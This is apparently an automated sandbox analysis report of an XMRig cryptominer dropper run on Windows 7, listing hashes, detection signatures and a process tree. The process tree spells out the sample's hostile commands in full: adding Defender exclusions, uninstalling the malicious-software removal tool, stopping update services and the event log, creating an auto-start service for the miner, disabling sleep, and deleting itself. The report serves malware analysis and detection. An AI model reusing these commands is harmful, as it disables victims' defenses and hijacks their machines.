Analysis
-
max time kernel
87s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
10/11/2024, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe
Resource
win7-20240903-en
General
-
Target
7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe
-
Size
5.6MB
-
MD5
8da19ec93acd2d373d273cf9ce0a4030
-
SHA1
59334174f971e8eb10c74e069f14187300553c3c
-
SHA256
7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42
-
SHA512
f31ecb02f9d56b8dd01b38281c23a4c0c839b2a2b0711c8d0b440956991da6134190aee559f9ca7903e70a2bc36309e39e94a9e190f0a8e7e069014ab7691cee
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2312-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2312-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 676 powershell.exe 2588 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 1416 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 480 Process not Found 1784 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 480 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2160 powercfg.exe 1632 powercfg.exe 2448 powercfg.exe 2952 powercfg.exe 2504 powercfg.exe 1016 powercfg.exe 2096 powercfg.exe 2676 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1784 set thread context of 1896 1784 fqwofdtexigy.exe 84 PID 1784 set thread context of 2312 1784 fqwofdtexigy.exe 87 -
resource yara_rule behavioral1/memory/2312-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2312-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1972 sc.exe 864 sc.exe 2692 sc.exe 2648 sc.exe 2000 sc.exe 1664 sc.exe 992 sc.exe 2472 sc.exe 2532 sc.exe 2940 sc.exe 1332 sc.exe 1948 sc.exe 1720 sc.exe 2844 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c01335874b33db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2588 powershell.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 2656 7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe 1784 fqwofdtexigy.exe 676 powershell.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 1784 fqwofdtexigy.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe 2312 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2588 powershell.exe Token: SeShutdownPrivilege 2096 powercfg.exe Token: SeShutdownPrivilege 1016 powercfg.exe Token: SeShutdownPrivilege 2504 powercfg.exe Token: SeShutdownPrivilege 2952 powercfg.exe Token: SeDebugPrivilege 676 powershell.exe Token: SeShutdownPrivilege 2676 powercfg.exe Token: SeShutdownPrivilege 1632 powercfg.exe Token: SeShutdownPrivilege 2448 powercfg.exe Token: SeShutdownPrivilege 2160 powercfg.exe Token: SeLockMemoryPrivilege 2312 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2132 wrote to memory of 2484 2132 cmd.exe 36 PID 2132 wrote to memory of 2484 2132 cmd.exe 36 PID 2132 wrote to memory of 2484 2132 cmd.exe 36 PID 1416 wrote to memory of 2812 1416 cmd.exe 61 PID 1416 wrote to memory of 2812 1416 cmd.exe 61 PID 1416 wrote to memory of 2812 1416 cmd.exe 61 PID 1644 wrote to memory of 2364 1644 cmd.exe 69 PID 1644 wrote to memory of 2364 1644 cmd.exe 69 PID 1644 wrote to memory of 2364 1644 cmd.exe 69 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 1896 1784 fqwofdtexigy.exe 84 PID 1784 wrote to memory of 2312 1784 fqwofdtexigy.exe 87 PID 1784 wrote to memory of 2312 1784 fqwofdtexigy.exe 87 PID 1784 wrote to memory of 2312 1784 fqwofdtexigy.exe 87 PID 1784 wrote to memory of 2312 1784 fqwofdtexigy.exe 87 PID 1784 wrote to memory of 2312 1784 fqwofdtexigy.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe"C:\Users\Admin\AppData\Local\Temp\7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2656 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2484
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2844
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2648
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1972
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2472
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2532
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2952
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2504
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1016
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2096
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2940
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:992
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1332
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\7079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2812
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2364
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1948
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2000
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1720
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1664
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2692
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2676
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2448
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1632
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2160
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1896
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2312
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD58da19ec93acd2d373d273cf9ce0a4030
SHA159334174f971e8eb10c74e069f14187300553c3c
SHA2567079cefffee8949efb52c966b8772c96bb0c0b3c555ed8533460ebaa69e55f42
SHA512f31ecb02f9d56b8dd01b38281c23a4c0c839b2a2b0711c8d0b440956991da6134190aee559f9ca7903e70a2bc36309e39e94a9e190f0a8e7e069014ab7691cee